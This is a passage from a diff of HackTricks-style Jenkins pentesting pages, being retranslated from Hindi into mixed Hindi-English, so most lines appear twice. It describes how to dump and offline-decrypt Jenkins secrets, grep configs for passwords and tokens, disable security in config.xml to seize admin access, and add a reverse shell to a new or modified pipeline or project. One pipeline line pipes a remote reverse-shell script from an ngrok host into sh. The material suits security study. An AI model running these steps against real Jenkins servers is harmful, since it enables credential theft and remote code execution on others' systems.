> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
> **सभी secrets को एक साथ dump करने** का सबसे अच्छा तरीका है **Jenkins** मशीन को **compromise** करना (उदाहरण के लिए **built-in node** में reverse shell चलाकर) और फिर **master keys** और **encrypted secrets** को **leak** करना तथा उन्हें offline decrypt करना।\
> इसे कैसे करना है, इसकी अधिक जानकारी [Nodes & Agents section](#nodes-and-agents) और [Post Exploitation section](#post-exploitation) में है।
### Triggers
@@ -246,32 +246,32 @@ Cron example:
```bash
triggers { cron('H */4 * * 1-5') }
```
देखें **दस्तावेज़ों में अन्य उदाहरण**
**docs में अन्य examples** देखें
### नोड्स और एजेंट्स
### Nodes & Agents
एक **Jenkins instance** में अलग-अलग मशीनों पर **विभिन्न agents चल रहे हो सकते हैं**। एक attacker के दृष्टिकोण से, अलग-अलग मशीनों तक पहुंच का मतलब है चोरी करने के लिए **विभिन्न संभावित cloud credentials** या अन्य मशीनों का शोषण करने के लिए उपयोग में लायी जा सकने वाली **विभिन्न नेटवर्क एक्सेस**
एक **Jenkins instance** में **different machines** पर चल रहे **different agents** हो सकते हैं attacker के दृष्टिकोण से, अलग-अलग machines तक access का मतलब है **steal** करने के लिए **different potential cloud credentials** या **different network access** जिसे abuse करके अन्य machines को exploit किया जा सकता है
अधिक जानकारी के लिए मूल जानकारी देखें:
अधिक जानकारी के लिए basic information देखें:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
आप `/computer/` में **configured nodes** को सूचीबद्ध कर सकते हैं; आमतौर पर आपको `Built-In Node` (जो Jenkins चला रहा होता है) और संभवतः अन्य मिलेंगे:
आप `/computer/` में **configured nodes** enumerate कर सकते हैं, आपको आमतौर पर \*\*`Built-In Node` \*\* (जो Jenkins चलाने वाला node है) और potentially और भी मिलेंगे:
![](<../../images/image (249).png>)
![Jenkins node list showing agent1 and Built-In Node executors](<../../images/image (249).png>)
यह विशेष रूप से रुचिकर है कि Built-In node को compromise किया जाए क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है।
**Built-In node** को compromise करना **specially interesting** है क्योंकि इसमें sensitive Jenkins information होती है।
दि आप यह संकेत देना चाहते हैं कि आप **run** करना चाहते हैं **pipeline** को **built-in Jenkins node** में, तो आप pipeline के अंदर निम्नलिखित config निर्दिष्ट कर सकते हैं:
ह indicate करने के लिए कि आप **pipeline** को **built-in Jenkins node** पर **run** करना चाहते हैं, आप pipeline के अंदर निम्न config specify कर सकते हैं:
```bash
pipeline {
agent {label 'built-in'}
```
### पूर्ण उदाहरण
### Complete example
विशिष्ट agent में Pipeline, एक cron trigger के साथ, pipeline और stage env variables के साथ, एक step में 2 variables load करना और एक reverse shell भेजना:
एक specific agent में Pipeline, एक cron trigger के साथ, pipeline और stage env variables के साथ, एक step में 2 variables लोड करना और एक reverse shell भेजना:
```bash
pipeline {
agent {label 'built-in'}
@@ -330,30 +330,32 @@ msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
यदि आपके पास पर्याप्त अनुमति है, तो आप `/credentials/` को एक्सेस करके secrets सूचीबद्ध कर सकते हैं। ध्यान दें कि यह केवल `credentials.xml` फ़ाइल के अंदर के secrets को सूचीबद्ध करेगा, लेकिन **build configuration files** में भी **अधिक credentials** हो सकते हैं।
आप `/credentials/` को access करके secrets की list निकाल सकते हैं, अगर आपके पास enough permissions हों। ध्यान दें कि यह केवल `credentials.xml` file के अंदर मौजूद secrets की ही list दिखाएगा, लेकिन **build configuration files** में **और भी credentials** हो सकते हैं।
![](<../../images/image (180).png>)
अगर आप **हर project की configuration देख सकते हैं**, तो आप वहाँ repository को access करने के लिए use हो रहे **credentials (secrets) के names** और project के **other credentials** भी देख सकते हैं।
#### Groovy से
![Jenkins credentials selector showing gitea-access-token and Add credential button](<../../images/image (180).png>)
#### From Groovy
{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### डिस्क से
#### From disk
इन फ़ाइलों की आवश्यकता होती है Jenkins secrets को **decrypt** करने के लिए:
इन files की जरूरत होती है **Jenkins secrets decrypt** करने के लिए:
- secrets/master.key
- secrets/hudson.util.Secret
ऐस **secrets आमतौर पर निम्न फ़ाइलों में मिलती हैं**:
ऐस **secrets आमतौर पर इन जगहों पर मिल सकते हैं**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
इन्हें ढूँढने के लिए यहाँ एक regex है:
इन्हें find करने के लिए यहाँ एक regex है:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -363,9 +365,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Jenkins secrets को offline में Decrypt करें
#### Jenkins secrets को offline decrypt करें
यदि आपने उन **जरूरी पासवर्ड जो secrets को decrypt करने के लिए** dump कर लिए हैं, तो [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) का उपयोग करके **उन secrets को decrypt करें**
अगर आपने **secrets को decrypt करने के लिए जरूरी passwords** dump कर लिए हैं, तो [**इस script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **का उपयोग करके उन secrets को decrypt करें**
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -373,20 +375,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Groovy से Jenkins secrets को Decrypt करें
#### Groovy से Jenkins secrets decrypt करें
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### नया एडमिन उपयोगकर्ता बनाएं
### नया admin user बनाएं
1. Jenkins config.xml फ़ाइल में पहुँचें: `/var/lib/jenkins/config.xml` या `C:\Program Files (x86)\Jenkis\`
2. `<useSecurity>true</useSecurity>` शब्द खोजें और शब्द **`true`** को **`false`** में बदलें।
1. Jenkins config.xml file को `/var/lib/jenkins/config.xml` या `C:\Program Files (x86)\Jenkis\` में access करें
2. `<useSecurity>true</useSecurity>` word search करें और **`true`** को **`false`** में बदलें।
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restart** the **Jenkins** server: `service jenkins restart`
4. अब Jenkins पोर्टल पर फिर जाए और इस बार **Jenkins किसी भी credentials की मांग नहीं करेगा**। आप "**Manage Jenkins**" पर जाकर **प्रशासक पासवर्ड** फिर से सेट कर सकते हैं।
5. `<useSecurity>true</useSecurity>` में बदलकर **security** को फिर से सक्रिय करें और **Jenkins** को फिर से restart करे
3. **Jenkins** server को **restart** करें: `service jenkins restart`
4. अब फिर से Jenkins portal पर जाए और इस बार **Jenkins किसी भी credentials के लिए नहीं पूछेगा**। आप **administrator password** को फिर से set करने के लिए "**Manage Jenkins**" पर जाते हैं।
5. **security** को फिर से **enable** करें, settings को `<useSecurity>true</useSecurity>` में बदलकर और **Jenkins** को फिर से **restart** करे।
## संदर्भ
## References
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -1,53 +1,53 @@
# बुनियादी Jenkins जानकारी
# Basic Jenkins Information
{{#include ../../banners/hacktricks-training.md}}
## पहुँच
## Access
### उपयोगकर्ता नाम + पासवर्ड
### Username + Password
Jenkins में लॉगिन करने का सबसे सामान्य तरीका उपयोगकर्ता नाम या पासवर्ड के साथ होता है।
Jenkins में login करने का सबसे common तरीका username या password के साथ ह
### कुकी
### Cookie
यदि कोई **authorized cookie चोरी हो जाती है**, तो इसका उपयोग उपयोगकर्ता के सत्र (session) तक पहुँचने के लिए किया जा सकता है। कुकी आमतौर पर `JSESSIONID.*` नाम की होती है। (एक उपयोगकर्ता अपने सभी सत्र समाप्त कर सकता है, लेकिन उसे पहले यह पता होना चाहिए कि कुकी चोरी हुई थी।)
अगर एक **authorized cookie चोरी हो जाती है**, तो उसे user के session तक access करने के लिए इस्तेमाल किया जा सकता है। Cookie आमतौर पर `JSESSIONID.*` कहलाती है। (एक user अपने सभी sessions terminate कर सकता है, लेकिन पहले उसे यह पता लगाना होगा कि cookie चोरी हुई थी)
### SSO/Plugins
Jenkins को plugins के माध्यम से इस तरह कॉन्फ़िगर किया जा सकता है कि **थर्ड-पार्टी SSO** के माध्यम से पहुँच योग्य हो।
Jenkins को plugins का उपयोग करके configure किया जा सकता है ताकि **third party SSO के जरिए accessible** हो।
### Tokens
**उपयोगकर्ता टोकन जेनरेट कर सकते हैं** ताकि एप्लिकेशन CLI या REST API के माध्यम से उनका प्रतिरूपण (impersonate) कर सके
**Users tokens generate कर सकते हैं** ताकि applications को CLI या REST API के जरिए उनकी impersonate करने की access दी जा सके।
### SSH Keys
यह घटक Jenkins के लिए एक built-in SSH सर्वर प्रदान करता है। यह [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) के लिए एक वैकल्पिक इंटरफ़ेस है, और किसी भी SSH client का उपयोग करके इस तरह कमांड्स को invoke किया जा सकत है। (From the [docs](https://plugins.jenkins.io/sshd/))
यह component Jenkins के लिए एक built-in SSH server प्रदान करता है। यह [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) का एक alternative interface है, और किसी भी SSH client का उपयोग करके commands इस तरह invoke क जा सकत है। ([docs](https://plugins.jenkins.io/sshd/) से)
## अधिकार
## Authorization
`/configureSecurity` पर Jenkins क**authorization method को कॉन्फ़िगर** करना संभव है। विकल्प कुछ इस प्रकार हैं:
`/configureSecurity` में **Jenkins कauthorization method configure** करना possible है। कई options हैं:
- **कोई भी कुछ भी कर सकता है**: यहाँ तक कि अनाम उपयोगकर्ता भी सर्वर का प्रशासन कर सकत हैं।
- **Legacy mode**: Jenkins <1.164 जैसा व्यवहार करता है। यदि आपके पास **"admin" role** है, तो आपको सिस्टम पर **पूर्ण नियंत्रण** दिया जाएगा, और **अन्यथा** (जिसमें **अनाम** उपयोगकर्ता शामिल हैं) आपको **पढ़ने** की अनुमति होगी
- **Logged-in users can do anything**: इस मोड में हर **लॉग-इन किया हुआ उपयोगकर्ता Jenkins पर पूरा नियंत्रण** प्राप्त करता है। एकमात्र उपयोगकर्ता जिसे पूरा नियंत्रण नहीं मिलता वह **अनाम उपयोगकर्ता** है, जिसे केवल **पढ़ने की अनुमति** मिलेगी
- **Matrix-based security**: आप एक तालिका में यह कॉन्फ़िगर कर सकते हैं कि **कौन क्या कर सकता है**। प्रत्येक **कॉलम** एक **अनुमति** (permission) का प्रतिनिधित्व करता है। प्रत्येक **रो** एक **उपयोगकर्ता या समूह/भूमिका** (user or group/role) का प्रतिनिधित्व करती है। इसमें एक विशेष उपयोगकर्ता '**anonymous**' शामिल है, जो **अप्रमाणित उपयोगकर्ताओं** (unauthenticated users) का प्रतिनिधित्व करता है, साथ ही '**authenticated**' जो **सभी प्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है।
- **Anyone can do anything**: Anonymous access भी server को administrate कर सकत है
- **Legacy mode**: Jenkins <1.164 जैसा ही। अगर आपके पास **"admin" role** है, तो आपको system पर **full control** मिलेगा, और **otherwise** (**anonymous** users सहित) आपको **read** access मिलेगा
- **Logged-in users can do anything**: इस mode में, हर **logged-in user को Jenkins पर full control** मिलता है। केवल **anonymous user** को full control नहीं मिलेगा, जिसे सिर्फ **read access** मिलता है
- **Matrix-based security**: आप एक table में **कौन क्या कर सकता है** configure कर सकते हैं। हर **column** एक **permission** represent करता है। हर **row** एक **user या group/role** को **represents** करती है। इसमें एक special user '**anonymous**' शामिल है, जो **unauthenticated users** को represent करता है, साथ ही '**authenticated**', जो **all authenticated users** को represent करता है।
![](<../../images/image (149).png>)
![Jenkins matrix-based authorization table with permissions columns for users and groups](<../../images/image (149).png>)
- **Project-based Matrix Authorization Strategy:** यह मोड "**Matrix-based security**" का एक विस्तार है जो प्रत्येक प्रोजेक्ट के लिए अलग से अतिरिक्त ACL मैट्रिक्स को **परिभाषित करने** की अनुमति देता है।
- **Role-Based Strategy:** भूमिकाओं-आधारित रणनीति का उपयोग करके अनुमतियों को परिभाषित करने में सक्षम बनाता है। भूमिकाओं को `/role-strategy` में प्रबंधित करें।
- **Project-based Matrix Authorization Strategy:** यह mode "**Matrix-based security**" का एक **extension** है जो हर project के लिए अलग से अतिरिक्त ACL matrix **define** करने देता है।
- **Role-Based Strategy:** **role-based strategy** का उपयोग करके authorizations define करने की अनुमति देता है। भूमिकाओं को `/role-strategy` में manage करें।
## **Security Realm**
`/configureSecurity` पर **security realm को कॉन्फ़िगर** करना संभव है। डिफ़ॉल्ट रूप से Jenkins कुछ अलग Security Realms के लिए समर्थन शामिल करता है:
`/configureSecurity` में **security realm configure** करना possible है। Default रूप से Jenkins कुछ अलग-अलग Security Realms के लिए support शामिल करता है:
- **Delegate to servlet container**: Jenkins controller पर चलने वाले servlet container (जैसे [Jetty](https://www.eclipse.org/jetty/)) को authentication delegate करने के लिए।
- **Jenkins own user database:** बाहरी सिस्टम को delegate करने के बजाय authentication के लिए **Jenkins के अपने built-in user data store** का उपयोग करें। यह डिफ़ॉल्ट रूप से सक्षम है।
- **LDAP**: सभी authentication को एक कॉन्फ़िगर किए हुए LDAP सर्वर को delegate करें, जिसमें users और groups दोनों शामिल हैं।
- **Unix user/group database**: Jenkins controller पर निहित Unix OS-स्तरीय user database को authentication delegate करता है। यह मोड authorization के लिए Unix समूहों के पुन:उपयोग की भी अनुमति देता है
- **Delegate to servlet container**: एक servlet container जो Jenkins controller चला रहा हो, जैसे [Jetty](https://www.eclipse.org/jetty/) , उसे authentication delegate करने के लिए।
- **Jenkins own user database:** external system को delegate करने के बजाय authentication के लिए **Jenkins के अपने built-in user data store** का उपयोग करें। यह default रूप से enabled है।
- **LDAP**: users और groups दोनों सहित, सारी authentication एक configured LDAP server को delegate करें।
- **Unix user/group database**: authentication को Jenkins controller पर underlying Unix OS-level user database को **delegate** करता है। यह mode authorization के लिए Unix groups का re-use भी allow करेगा
Plugins अतिरिक्त security realms प्रदान कर सकते हैं जो मौजूदा identity systems में Jenkins को शामिल करने के लिए उपयोगी हो सकते हैं, जैसे:
Plugins अतिरिक्त security realms provide कर सकते हैं, जो existing identity systems में Jenkins को incorporate करने के लिए useful हो सकते हैं, जैसे:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
@@ -55,35 +55,35 @@ Plugins अतिरिक्त security realms प्रदान कर स
## Jenkins Nodes, Agents & Executors
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
[docs](https://www.jenkins.io/doc/book/managing/nodes/) से definitions:
**Nodes** वे **मशीनें** हैं जिन पर build **agents चलते हैं**। Jenkins प्रत्येक जुड़े हुए node की disk space, free temp space, free swap, clock time/sync और response time की निगरानी करता है। यदि इन मानों में से कोई भी configured threshold े बाहर चल जात है तो node को offline कर दिया जाता है।
**Nodes** वे **machines** हैं जिन पर build **agents run** करते हैं। Jenkins हर attached node की disk space, free temp space, free swap, clock time/sync और response time के लिए monitoring करता है। अगर इनमें से कोई value configured threshold े बाहर चल जात है, तो node offline कर दिया जाता है।
**Agents** Jenkins controller की ओर से **executors** का उपयोग करके **टास्क निष्पादन (task execution)** को प्रबंधित करते हैं। एक agent किसी भी ऑपरेटिंग सिस्टम का उपयोग कर सकता है जो Java को सपोर्ट करता हो। बिल्ड और टेस्ट के लिए आवश्यक टूल उस node पर इंस्टॉल होते हैं जहाँ agent चलता है; न्हें **सीधे इंस्टॉल किया जा सकता है या एक container** (Docker या Kubernetes) में रखा जा सकता है। प्रत्येक **agent प्रभावी रूप से host मशीन पर अपने PID के साथ एक प्रोसेस** होता है।
**Agents** **executors** का उपयोग करके Jenkins controller की ओर से **task execution manage** करते हैं। एक agent कोई भी operating system इस्तेमाल कर सकता है जो Java support करता हो। Builds और tests के लिए required tools उस node पर install किए जाते हैं जहाँ agent run करता है; न्हें **directly या container में** install किया जा सकता है (Docker या Kubernetes)। हर **agent effectively host machine पर अपने खुद के PID के साथ एक process** होता है।
एक **executor** टास्क निष्पादन के लिए एक **स्लॉट** है; प्रभावी रूप से यह agent में एक **थ्रेड** है। किसी node पर **executors की संख्या** यह परिभाषित करती है कि उस node पर एक समय में कितने **समानांतर टास्क (concurrent tasks)** निष्पादित किए जा सकते है। दूसरे शब्दों में, यह निर्धारित करता है कि उस node पर एक समय में कितने समानांतर Pipeline `stages` execute हो सकते है
एक **executor** tasks के execution के लिए एक **slot** है; effectively, यह **agent में एक thread** है। किसी node पर **executors की संख्या** उस node पर एक समय में execute की जा सकने वाली **concurrent tasks** की संख्या define करती है। दूसरे शब्दों में, यह उस node पर एक समय में execute होने वाले **concurrent Pipeline `stages`** की **number** निर्धारित करता है।
## Jenkins Secrets
### Secrets और Credentials का एनक्रिप्शन
### Encryption of Secrets and Credentials
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins **AES का उपयोग** करके secrets, credentials, और उनके संबंधित encryption keys को encrypt और protect करता है। ये encryption keys `$JENKINS_HOME/secrets/` में master key के साथ संग्रहीत होती हैं जो इन keys की सुरक्षा के लिए प्रयोग की जात है। इस डायरेक्टरी को इस तरह कॉन्फ़िगर किया जाना चाहिए कि केवल वह operating system user जिसके रूप में Jenkins controller चल रहा है, इस डायरेक्टरी को read और write कर सके (जैसे `chmod` मान `0700` या उपयुक्त file attributes का उपयोग)। **master key** (cryptojargon में कभी-कभी "key encryption key" कहा जाता है) Jenkins controller filesystem पर **_unencrypted_** रूप में **`$JENKINS_HOME/secrets/master.key`** में संग्रहीत होत है, जो उस फ़ाइल तक सीधे पहुंच रखने वाले attackers खिलाफ सुरक्षा प्रदान नहीं करत। अधिकांश उपयोगकर्ता और डेवलपर्स इन encryption keys का अप्रत्यक्ष रूप से उपयोग करेंगे, या तो generic secret data को encrypt करने के लिए [Secret](https://javadoc.jenkins.io/byShortName/Secret) API के माध्यम से या credentials API के माध्यम से्रिप्टोमें रुचि रखने वालों के लिए, Jenkins AES का उपयोग cipher block chaining (CBC) mode में PKCS#5 padding और random IVs के साथ करता है ताकि [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) के उदाहरणों को encrypt किया जा सके, जो `$JENKINS_HOME/secrets/` में उनके `CryptoConfidentialKey` id के अनुरूप फ़ाइल नाम के साथ संग्रहीत होत हैं। सामान्य key ids में शामिल हैं:
[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) से definition: Jenkins **AES का उपयोग करके secrets**, credentials, और उनकी respective encryption keys को encrypt और protect करता है। ये encryption keys `$JENKINS_HOME/secrets/` में master key के साथ stored होती हैं,िसका उपयोग उन keys को protect करने के लिए किया जात है। इस directory को इस तरह configure किया जाना चाहिए कि केवल वह operating system user जिसके रूप में Jenkins controller चल रहा है, को इस directory पर read और write access हो (यानी `chmod` value `0700` या appropriate file attributes का उपयोग)। **master key** (कभी-कभी cryptojargon में "key encryption key" भी कहा जाता है) Jenkins controller filesystem पर **`$JENKINS_HOME/secrets/master.key`** में **stored \_unencrypted**\_ होत है, जो उस file तक direct access वाले attackers protect नहीं करत। अधिकांश users और developers इन encryption keys का indirect उपयोग या तो generic secret data encrypt करने के लिए [Secret](https://javadoc.jenkins.io/byShortName/Secret) API के माध्यम से, या credentials API के माध्यम से करेंगे। Cryptocurious लोगों के लिए, Jenkins AES क cipher block chaining (CBC) mode with PKCS#5 padding और random IVs के साथ [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) instances encrypt करने के लिए उपयोग करता है, जो `$JENKINS_HOME/secrets/` में उनके `CryptoConfidentialKey` id के corresponding filename के साथ stored होत हैं। Common key ids में शामिल हैं:
- `hudson.util.Secret`: generic secrets के लिए उपयोग होता है;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: कुछ credentials प्रकारों के लिए उपयोग होता है;
- `hudson.util.Secret`: generic secrets के लिए उपयोग किया जाता है;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: कुछ credentials types के लिए उपयोग किया जाता है;
- `jenkins.model.Jenkins.crumbSalt`: [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) द्वारा उपयोग किया जाता है; और
### Credentials पहुँच
### Credentials Access
Credentials को **global providers** (`/credentials/`) के लिए scoped किया जा सकता है जिन्हें किसी भी कॉन्फ़िगर किए गए प्रोजेक्ट द्वारा एक्सेस किया जा सकता है, या न्हें **specific projects** (`/job/<project-name>/configure`) के लिए scoped किया जा सकता है और इसलिए केवल उस विशिष्ट प्रोजेक्ट से ही पहुँचनीय होते हैं।
Credentials को **global providers** (`/credentials/`) तक **scoped** किया जा सकता है, जिन्हें किसी भी configured project से access किया जा सकता है, या न्हें **specific projects** (`/job/<project-name>/configure`) क scoped किया जा सकता है और इसलिए केवल specific project से ही accessible होते हैं।
[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) के अनुसार: जिन credentials का scope निर्धारित होता है उन्हें pipeline को बिना किसी प्रतिबंध के उपलब्ध कराया जात है। निर्माण लॉग में आकस्मिक प्रकटीकरण (accidental exposure) को रोकने के लिए, credentials को नियमित आउटपुट से **masked** किया जाता है, इसलिए `env` (Linux) या `set` (Windows) का आह्वान, या अपन environment या parameters प्रिंट करवाले प्रोग्राम बिल्ड लॉग में उन्हें उन उपयोगकर्ताओं के लिए प्रकट नहीं करेंगे जिन्हें अन्यथा credentials तक पहुँच नहीं ह
[**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) के अनुसार: जो Credentials scope में हैं, वे pipeline को बिना किसी limitation के उपलब्ध करा जात है**build log में accidental exposure रोकने** के लिए, credentials को regular output से **masked** किया जाता है, इसलिए `env` (Linux) या `set` (Windows) का invocation, या programs जो अपन environment या parameters print करहैं, वे उन्हें build log में ऐसे users के लिए **reveal नहीं करेंगे** जिन्हें otherwise credentials तक access नहीं होता
**इसीलिए क्रेडेंशियल्स को exfiltrate करने के लिए उदाहरण के तौर पर a attacker को उन्हें base64 करना होगा**
**इसीलिए credentials exfiltrate करने के लिए attacker को, उदाहरण के लिए, उन्हें base64 करना पड़ता है**
### डिस्क पर plugin/job config में Secrets
### Secrets in plugin/job configs on disk
यह मत मानिए कि secrets केवल `credentials.xml` में ही होते हैं। कई plugins अपने **अपने ग्लोबल XML** में `$JENKINS_HOME/*.xml` के अंतर्गत या प्रति-जॉब `$JENKINS_HOME/jobs/<JOB>/config.xml` में secrets स्थायी रूप से रखते हैं, कभी-कभी स्पष्ट पाठ (plaintext) में भी (UI masking इस बात की गारंटी नहीं देती कि स्टोरेज एन्क्रिप्टेड है)। यदि आपको filesystem read access मिल जाता है, तो उन XMLs की सूची बनाएं और स्पष्ट secret टैग्स के लिए खोजें।
यह assume न करें कि secrets केवल `credentials.xml` में होते हैं। बहुत-से plugins अपने **own global XML** को `$JENKINS_HOME/*.xml` के नीचे या per-job `$JENKINS_HOME/jobs/<JOB>/config.xml` में persist करते हैं, कभी-कभी plaintext में भी (UI masking encrypted storage की guarantee नहीं देती)। अगर आपको filesystem read access मिल जाता है, तो उन XMLs को enumerate करें और obvious secret tags search करें।
```bash
# Global plugin configs
ls -l /var/lib/jenkins/*.xml
@@ -92,7 +92,7 @@ grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
# Per-job configs
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
```
## संदर्भ
## References
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## एक नया पाइपलाइन बनाना
## Creating a new Pipeline
"New Item" में (जो `/view/all/newJob` पर उपलब्ध है) **Pipeline** का चयन करें:
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
![](<../../images/image (235).png>)
![Jenkins New Item page with Pipeline selected as the project type](<../../images/image (235).png>)
**Pipeline सेक्शन** में **reverse shell** लिखें:
In the **Pipeline section** write the **reverse shell**:
![](<../../images/image (285).png>)
![Jenkins Pipeline script editor containing a Groovy reverse shell payload](<../../images/image (285).png>)
```groovy
pipeline {
agent any
@@ -26,12 +26,12 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
}
}
```
अंत में **Save** पर क्लिक करें, और **Build Now** पर क्लिक करें और पाइपलाइन निष्पादित होगी:
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
![](<../../images/image (228).png>)
![Jenkins build console showing a reverse shell connection and whoami output](<../../images/image (228).png>)
## पाइपलाइन को संशोधित करना
## Modifying a Pipeline
यदि आप किसी कॉन्फ़िगर की गई पाइपलाइन की कॉन्फ़िगरेशन फ़ाइल तक पहुँच सकते हैं, तो आप बस **अपना रिवर्स शेल जोड़कर इसे संशोधित** कर सकते हैं और फिर से निष्पादित करें या ब तक यह निष्पादित न हो जाए तब तक प्रतीक्षा करें
यदि आप किसी configured pipeline की configuration file access कर सकते हैं, तो आप बस **modify** करके उसमें अपनी reverse shell append कर सकते हैं और फिर से execute कर सकते हैं या ब तक wait कर सकते हैं जब तक वह execute न हो जाए
{{#include ../../banners/hacktricks-training.md}}
@@ -4,33 +4,33 @@
## Creating a Project
यह विधि बहुत शोर करती है क्योंकि आपको एक नया प्रोजेक्ट बनाना होता है (स्पष्ट है कि यह केवल तभी काम करेगा जब आपके उपयोगकर्ता को नया प्रोजेक्ट बनाने की अनुमति हो)।
यह method बहुत noisy है क्योंकि आपको एक hole नया project बनाना पड़ता है (obviously यह केवल त काम करेगा जब आपका user नया project create करने की allowed हो)।
1. **एक नया प्रोजेक्ट बनाएं** (Freestyle project) "New Item" पर क्लिक करके या `/view/all/newJob` में
2. **Build** अनुभाग के अंदर **Execute shell** सेट करें और एक powershell Empire launcher या एक meterpreter powershell पेस्ट करें (जो _unicorn_ का उपयोग करके प्राप्त किया जा सकता है)। _PowerShell.exe_ के साथ पेलोड शुरू करें, _powershell_ का उपयोग करने के बजाय।
3. **Build now** पर क्लिक करें
1. यदि **Build now** बटन नहीं दिखाई देता है, तो आप अभी भी **configure** --> **Build Triggers** --> `Build periodically` पर जा सकते हैं औ`* * * * *` का क्रोन सेट कर सकते हैं
2. क्रोन का उपयोग करने के बजाय, आप "**Trigger builds remotely**" कॉन्फ़िगरेशन का उपयोग कर सकते हैं जहाँ आपको केवल नौकरी को ट्रिगर करने के लिए API टोकन नाम सेट करने की आवश्यकता है। फिर अपने उपयोगकर्ता प्रोफ़ाइल पर जाएं और **एक API टोकन उत्पन्न करें** (इस API टोकन को उसी नाम से कॉल करें जैसा आपने नौकरी को ट्रिगर करने के लिए API टोकन को कहा था)। अंततः, नौकरी को ट्रिगर करें: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
1. **Create a new project** (Freestyle project) "New Item" पर क्लिक करके या `/view/all/newJob` में
2. **Build** section के अंदर **Execute shell** सेट करें और एक powershell Empire launcher या meterpreter powershell paste करें (इसे _unicorn_ से obtain किया जा सकता है)। Payload को _powershell._ के बजाय _PowerShell.exe_ से start करें
3. **Build now** पर क्लिक करें
1. अगर **Build now** button नहीं दिखा, तो आप फिर भी **configure** --> **Build Triggers** --> `Build periodically` में जाक`* * * * *` का cron set कर सकते हैं
2. cron के बजाय, आप "**Trigger builds remotely**" config इस्तेमाल कर सकते हैं, जहाँ आपको सिर्फ job trigger करने के लिए api token name set करना होता है। फिर अपने user profile पर जाकर एक **API token generate** करें (इस API token को वही नाम ें ज आपने job trigger करने के लिए api token को दिया था)। आखिर में, job को इस command से trigger करें: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
![](<../../images/image (165).png>)
![Jenkins New Item page for creating a Freestyle project](<../../images/image (165).png>)
## Modifying a Project
प्रोजेक्ट पर जाए और जांचें **क्या आप नमें से किसी को कॉन्फ़िगर कर सकते हैं** ( "Configure button" की तलाश करें):
projects में जाए और check करें **क्या आप नमें से किसी को configure कर सकते हैं** ( "Configure button" देखें):
![](<../../images/image (265).png>)
![Jenkins project side menu with the Configure action visible](<../../images/image (265).png>)
यदि आप **कोई** **कॉन्फ़िगरेशन** **बटन** नहीं देख सकते हैं तो आप **इसे कॉन्फ़िगर नहीं कर सकते** (लेकिन सभी प्रोजेक्ट्स की जांच करें क्योंकि आप उनमें से कुछ को कॉन्फ़िगर कर सकते हैं और कुछ को नहीं)।
अगर आपको कोई भी **configuration** **button** दिखाई नहीं देता, तो संभवतः आप इसे **configure** **नहीं** कर सकते (लेकिन सभी projects check करें, क्योंकि हो सकता है कुछ को configure कर सकं और कुछ को नहीं)।
